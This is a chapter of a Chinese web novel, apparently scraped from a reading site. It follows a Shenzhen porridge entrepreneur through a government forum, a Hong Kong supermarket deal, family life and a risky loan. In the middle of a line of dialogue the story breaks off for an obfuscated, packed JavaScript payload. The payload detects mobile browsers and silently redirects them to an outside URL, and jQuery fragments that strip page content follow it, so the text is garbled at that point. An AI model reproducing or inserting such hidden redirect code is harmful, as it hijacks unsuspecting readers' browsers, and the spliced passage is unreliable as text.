座谈会是周三上午九点，在市政府的会议室。


    陈永福起了个大早。穿上那套深蓝色中山装——林玉兰特意烫过，肩线笔挺。出门前照镜子，发现自己鬓角有了白头发。


    “别紧张。”林玉兰帮他理理衣领，“就讲你平时做的事。”


    “嗯。”


    “发言稿带了？”


    “带了。”陈永福拍拍口袋，“但不想照着念。”


    “那就不念。”林玉兰笑着说，“你讲粥的时候，眼睛里有光。照那个讲。”


    陈永福点头，出门。


    早晨的深圳已经热闹起来。路边早点摊冒着热气，卖肠粉的、卖豆浆油条的，吆喝声此起彼伏。自行车流从身边掠过，铃声响成一片。建筑工地上，塔吊缓缓转动。这座城市每天都在长高。


    市政府大院门口停了十几辆车，还有不少自行车。陈永福找到地方停好车，跟着指示牌往会议室走。走廊里铺着暗红色地毯，走上去没声音。墙上挂着“发展经济，保障供给”的标语，白底红字，鲜亮得很。


    会议室能坐百来人，已经到了一半。陈永福找了个靠后的位置坐下，打量四周。来的人各行各业的都有，大多穿着正式，有穿西装的，有穿中山装的。有个女人穿着红色连衣裙，在人群中很显眼。


    前排有人在聊天：


    “听说是要解决个体户贷款难的问题。”


    “贷款？能批下来就不错了。”


    “我听说要放开个体户雇工人数限制……”


    “真的假的？现在只能请两个帮工，根本不够用。”


    陈永福默默听着。这些都是实际困难，他也有。现在三家店加一个工厂，工人加起来五十多个，按政策早就超了。街道办睁只眼闭只眼，说等政策放宽。


    九点整，领导进场。主持会议的是副市长，姓周，五十来岁，戴着眼镜，笑眯眯的。还有工商局、税务局、银行的人。


    会议开始，周副市长讲话。讲改革开放的成就，讲特区的使命，讲个体经济的贡献。陈永福听着，心里算着工厂今天的生产任务。


    发言环节开始。第一个发言的是个搞服装的，姓李，在人民路开了三家服装店。他讲怎么从摆地摊做起，怎么去广州进货，怎么跟香港学款式。讲得生动，会场里不时有笑声。


    第二个是开餐馆的，姓张，专做川菜。他说深圳外来人多，口味杂，川菜受欢迎。但问题也多：食材贵，师傅难请，卫生检查严。


    第三个轮到陈永福。


    “下一位，家香粥铺的陈永福同志。”


    陈永福站起来，走到发言席。台下眼睛都看着他。他深吸一口气，把准备好的稿子放在一边。


    “各位领导，各位同行，我叫陈永福，开粥铺的。”


    声音有点紧，清了清嗓子。


    “我是潮汕人，1981年来深圳。最早在老街推车卖粥，后来开了小店，现在有三家店，一个食品厂。”


    他开始讲。讲怎么熬第一锅粥——米要提前泡，水要一次加够，火候要稳。讲老街的老榕树，讲那些凌晨来喝粥的工人。讲拆迁的时候，怎么在雨棚下坚持营业。


    “有人问我，粥有什么好做的？不就是米加水？我说，不一样。我们的粥，要熬出米油，熬到米粒开花但不见米形。喝下去，从喉咙暖到胃。”


    他讲怎么想到做粥料包，怎么在梅林找到厂房，怎么调试生产线。讲香港的订单，讲广州的市场，讲正在试的儿童粥、杯装粥。


    也讲困难。讲贷款难，讲雇工限制，讲原材料涨价。讲新生产线投产后，产能上来了，但市场开拓跟不上。讲想做香港市场，但手续复杂，标准严格。


    “有时候晚上睡不着，想这些事。怕步子迈太大，摔跟头。又怕步子太小，错过机会。”


    台下很安静。周副市长在记笔记。


    “但我还是想做下去。”陈永福说，“为什么？因为我看见喝粥的人。建筑工人喝一碗，身上暖和了，干活有劲。写字楼的小年轻喝一碗，胃舒服了，工作顺心。老人喝一碗，说想起了老家。”


    他顿了顿。


    “粥简单，但养人。生意也简单，但养家。我想做的，就是让更多人有热粥喝，让跟着我干的兄弟姐妹有饭吃，有衣穿。”


    讲完了。台下沉默了几秒，然后响起掌声。


    陈永福回到座位，手心都是汗。


    座谈会开到中午。周副市长总结发言，说个体户是特区建设的重要力量，政府会研究解决大家反映的问题。散会后，工商局的同志过来找陈永福。


    “陈老板，你的发言很实在。”


    “都是实话。”


    “我们准备搞个‘文明经营户’巡讲，想请你参加。”


    “我……不太会讲。”


    “就讲你刚才说的就行。”工商局的同志说，“下个月开始，去各个区讲。一场补贴二十块钱。”


    二十块不多，但这是个荣誉。陈永福答应了。


    从市政府出来，已经十二点半。陈永福开车回工厂。路上经过国贸大厦工地，看见“三天一层楼”的标语。脚手架密密麻麻，工人们像蚂蚁一样在楼上忙碌。


    深圳就是这样，永远在建设，永远在变化。


    回到工厂，父亲在等他。


    “怎么样？”


    “还行。”陈永福脱了外套，“阿爸，下午我去趟香港。”


    “又去？”


    “嗯，郑先生约了超市的人见面。”


    “吃了饭再去。”


    “来不及了，路上吃。”


    陈永福拿了文件，又开车去罗湖口岸。过关的人排长队，等了半个多小时。到香港已经下午三点。


    郑文达的办公室在中环，不大，但整洁。墙上挂着一幅字：“天道酬勤”。郑文达正在接电话，粤语说得飞快。看见陈永福，示意他坐。


    电话打完，郑文达说：“陈老板，气色不错。”


    “刚开了会。”


    “好事。”郑文达拿出文件，“百佳超市的采购经理，姓刘，约了四点。这个人挑剔，但说话算话。你要有心理准备。”


    “咱们的样品带了吗？”


    “带了。”郑文达打开纸箱，“五种口味，包装改过了，按他们的要求。”


    陈永福看了看。包装比之前精致，有中英文说明，营养成分表。一包在香港卖三块五，比深圳贵一倍还多。


    “能卖动吗？”


    “香港人讲究健康，咱们的粥少油少盐，他们喜欢。”郑文达说，“关键是要进超市。进了超市，销量就有保障。”


    四点，刘经理准时到。四十来岁，穿灰色西装，拎公文包。握手很有力。


    “陈老板，久仰。”


    “刘经理好。”


    寒暄几句，进入正题。刘经理仔细看样品，捏捏包装，闻味道。又看了检测报告、生产许可证复印件。


    “厂子在深圳？”


    “是。”


    “卫生标准能达到香港要求？”


    “我们按出口标准建的车间。”陈永福说，“刘经理可以随时去看。”


    刘经理点点头：“价格呢？”


    “批发价两块二，超市建议零售价三块五。”


    “贵了。”刘经理摇头，“同类产品，台湾来的，批发价一块八。”


    “我们的用料好。”陈永福说，“米是东北优质大米，配料都是真材实料。”


    “消费者看不见这些。”刘经理说，“他们只看价格。”


    谈判陷入僵局。郑文达打圆场：“刘经理，这样行不行，首批我们按两块给您，您试销一个月。卖得好，咱们再谈长期合作。”


    刘经理想了想：“首批要多少？”


    “最少五千包。”


    “三千。”


    “四千。”


    “三千五，不能再多。”


    成交了。刘经理赶下一个会，匆匆离开。郑文达送他出门，回来对陈永福说：“能进百佳，是个开始。卖得好，其他超市就好谈了。”


    “批发价两块，咱们赚得不多。”


    “先占市场。”郑文达说，“陈老板，眼光放长远。”


    从郑文达办公室出来，天已经黑了。香港的夜繁华得很，霓虹灯闪闪烁烁，双层巴士来来往往。陈永福站在街边，看着对面茶餐厅里吃饭的人。一碟烧鹅饭要二十五块，够在深圳吃三碗粥加小菜。


    他想，香港人真有钱。


    但也真累。每个人走路都快，说话也快，像在赶时间。


    坐船回深圳。夜航的船破开水面，两岸灯火倒映在水里，碎成一片片。海风吹来，带着咸腥味。陈永福靠在椅背上，闭上眼睛。


    太累了。


    回到深圳已经九点多。他没回工厂，直接回家。孩子们都睡了，林玉兰在客厅等他。


    “吃了没？”


    “还没。”


    “给你留了饭。”


    林玉兰去热饭。陈永福瘫在沙发上，不想动。天花板上的吊扇慢慢转着，发出轻微的嗡嗡声。窗外传来邻居家电视的声音，在放《射雕英雄传》。


    “今天座谈会怎么样？”林玉兰端着饭菜出来。


    “还行。”陈永福坐起来吃饭，“让我去巡讲。”


    “好事啊。”


    “嗯。”陈永福扒了口饭，“香港那边谈成了，进百佳超市。”


    “真的？那太好了。”


    “但价格压得低，赚得不多。”


    “能进去就是好事。”林玉兰坐在旁边，“慢慢来。”


    吃完饭，陈永福去洗澡。热水冲在背上，舒服了些。他看着镜子里的自己，眼袋明显，皱纹也深了。三十六岁，看着像四十多。


    躺到床上，林玉兰轻声问：“是不是太累了？”


    “有点。”


    “要不……缓一缓？新店先不开了，生产线也减点产。”


    “缓不了。”陈永福说，“贷款要还，工人工资要发，订单要赶。”


    “那也不能把自己累垮。”


    “知道。”


    林玉兰转过身，抱住他：“阿福，我担心你。”


    “我没事。”陈永福拍拍她的背，“睡吧。”


    第二天是农历三月初三。潮汕人要过“三月三”，吃薄饼。母亲一大早就开始和面，准备馅料：豆芽、韭菜、鸡蛋丝、肉丝。


    □□很兴奋，围着灶台转：“阿嬷，我要吃甜的。”


    “有有有，给你包花生糖。”


    陈永福早上要去工厂，母亲叫住他：“永福，中午回来吃饭，今天过节。”


    “好。”


    工厂里，新生产线运转正常。但小林汇报了个问题：“陈老板，杯装粥的塑料味还是去不掉。我找了几个厂家，都说现在的杯子就这个水平。”


    “那就换方向。”陈永福说，“不做杯装了，做袋装速食粥。开水泡的那种。”


    “那种市面上有。”


    “咱们做得更好就行。”陈永福说，“味道要接近现熬的。”


    “我试试。”


    中午陈永福回家过节。桌上摆满了菜，中间是一大盘薄饼。母亲擀的饼又薄又韧，透亮。每个人自己卷，爱吃什么包什么。


    □□卷了个巨大的，两手捧着吃，酱汁滴到衣服上。林玉兰赶紧拿毛巾擦：“慢点吃。”


    晓梅还不能吃饼，母亲给她蒸了蛋羹，一勺勺喂。


    父亲倒了杯米酒：“永福，今天过节，喝一杯。”


    “下午还要去工厂。”


    “一杯没事。”


    陈永福接过杯子。米酒是老家带来的，醇厚，入喉暖。一家人围坐吃饭，说说笑笑。这一刻，所有的压力都暂时放下了。


    “阿爸，我们学校要开运动会。”□□说，“我报了一百米。”


    “能跑第几？”


    “前三没问题。”□□很自信，“我们班王小军腿短，跑不过我。”


    “不能骄傲。”


    “知道啦。”


    吃完饭，陈永福帮母亲收拾。母亲小声说：“永福，你爸昨晚睡不着，说担心你。”


    “担心什么？”


    “说你现在摊子铺太大，怕你撑不住。”母亲说，“我也担心。你看你，又瘦了。”


    “我没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385065|200163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事。”


    “有事要说。”母亲看着他，“咱们是一家人，有难一起扛。”


    陈永福鼻子一酸：“嗯。”


    下午回工厂，王建军来了。他刚从东莞回来，风尘仆仆。


    “老板，东莞店旁边开了家新的粥铺，叫‘好粥道’，价格比咱们低一毛。”


    “味道呢？”


    “我尝了，一般，米没熬透。”王建军说，“但他们搞促销，买三送一。”


    “咱们也搞。”陈永福说，“但不在价格上拼。你弄个‘粥品鉴会’，请老顾客来，免费试吃新口味，提意见。再送优惠券。”


    “这个好。”王建军记下，“老板，还有件事。南山店那边，房东说要涨租，下个月开始，每月涨两百。”


    “涨这么多？”


    “他说周边都涨了。”


    陈永福皱眉。三家店，每家涨两百，一个月就多六百开支。


    “你跟他谈谈，看能不能少涨点。”


    “我谈了，他说最少一百五。”


    “那就一百五吧。”


    王建军走后，陈永福算账。这个月贷款利息、原料成本、工资、房租……账上的钱刚够周转。下个月要还一笔五万的贷款，得想办法。


    他想起郑文达说过，香港有短期借贷，利息高但快。要不要试试？


    犹豫着，电话响了。是黄秀英。


    “老板，广州百货公司的专柜今天开业，卖了八十包。”


    “不错。”


    “但有个问题。”黄秀英说，“旁边食品柜的经理眼红，说咱们抢他们生意，要商场把咱们撤了。”


    “你跟商场经理谈了吗？”


    “谈了，他说各做各的生意，互不干扰。”黄秀英说，“但我怕那个人使绊子。”


    “你请商场经理吃个饭，送点咱们的产品。关系要维护好。”


    “好。”黄秀英顿了顿，“老板，佛山那边……我找到个店面，位置很好，租金也合适。您要不要来看看？”


    陈永福沉默。他想起林玉兰的话：黄秀英像当年的你。


    “你把地址发我，我过两天去看。”


    “真的？谢谢老板！”


    挂了电话，陈永福走到窗前。院子里，工人们正在装车，准备发货。一箱箱粥料包装上车，运往各个店，运往香港，运往广州。


    这些箱子里，装的不只是粥，是许多人的生计，是许多家庭的希望。


    他不能停。


    傍晚，陈永福去接□□放学。学校门口挤满了家长，自行车、摩托车、偶尔有小汽车。孩子们排着队出来，叽叽喳喳像小鸟。


    □□跑过来：“阿爸！”


    “今天怎么样？”


    “数学测验，我考了98分。”□□得意地说，“全班第二。”


    “第一是谁？”


    “李小红，她考了100。”□□有点不服气，“她妈妈是老师，天天给她辅导。”


    “那你也努力。”


    “嗯，下次我一定考100。”


    回家路上，□□说：“阿爸，我们老师说要写观察日记。我写咱们家粥铺，行吗？”


    “行啊。”


    “那我天天去店里看。”□□说，“阿爸，你教我熬粥吧。”


    “你学这个干嘛？”


    “我想学。”□□认真地说，“以后帮你。”


    陈永福摸摸儿子的头：“你先好好读书。熬粥的事，以后再说。”


    “哦。”


    但陈永福心里暖暖的。儿子懂事了。


    晚上，陈永福在书房看黄秀英发来的佛山店面资料。位置确实好，在商业街，人流量大。租金一个月八百，比深圳便宜。但装修、设备、人工，前期投入至少要两万。


    两万，现在拿不出来。


    他想了想，给郑文达打电话。


    “郑先生，佛山想开新店，缺资金。香港那边，短期借贷方便吗？”


    郑文达沉吟：“方便是方便，但利息高，月息三分。而且要用资产抵押。”


    “我用工厂设备抵押。”


    “陈老板，你想清楚。”郑文达说，“三分息，借两万，一个月利息就六百。要是生意不好，压力很大。”


    “我知道。”


    “那行，我帮你问问。但最快也要一周。”


    “谢谢郑先生。”


    挂了电话，陈永福在纸上算。两万，月息六百，三个月就是一千八。佛山店要是做得好，一个月利润应该能有两三千，还得起。


    但要是做不好呢？


    不想了，赌一把。


    林玉兰端茶进来，看见他桌上的计算纸：“又要借钱？”


    “嗯，佛山开店。”


    “非开不可吗？”


    “机会好。”陈永福说，“黄秀英在那等着，不能让她白忙。”


    林玉兰叹口气：“阿福，我总觉得，咱们现在像在骑快车，慢不下来。”


    “骑快了才能赶上趟。”


    “可我怕摔。”


    “我扶着你，摔不了。”


    林玉兰靠在他肩上：“你说的，要扶好。”


    “嗯。”


    夜深了，深圳安静下来。远处偶尔有货车的轰鸣声，近处只有虫鸣。陈永福走到阳台，点了支烟——他很少抽，但今晚想抽一支。


    烟头的红光在黑暗中一明一灭。他想起老家，想起小时候，跟着父亲去田里。三月三，田里的秧苗刚插下，绿油油一片。父亲说，秧苗插下去，就要好好侍弄，除草、施肥、灌溉，才能有好收成。


    现在他也在侍弄一片田。这片田叫家香粥铺，秧苗是一家家店，一个个工人，一包包产品。


    要除草——那些不好的产品，不合格的员工。


    要施肥——投入资金，改进技术。


    要灌溉——用心经营，诚信待客。


    才能有好收成。


    烟抽完了，陈永福回屋。林玉兰已经睡了，呼吸均匀。他轻轻躺下，闭上眼睛。


    明天，还要早起熬粥。


    不，不是熬粥。


    是侍弄那片田。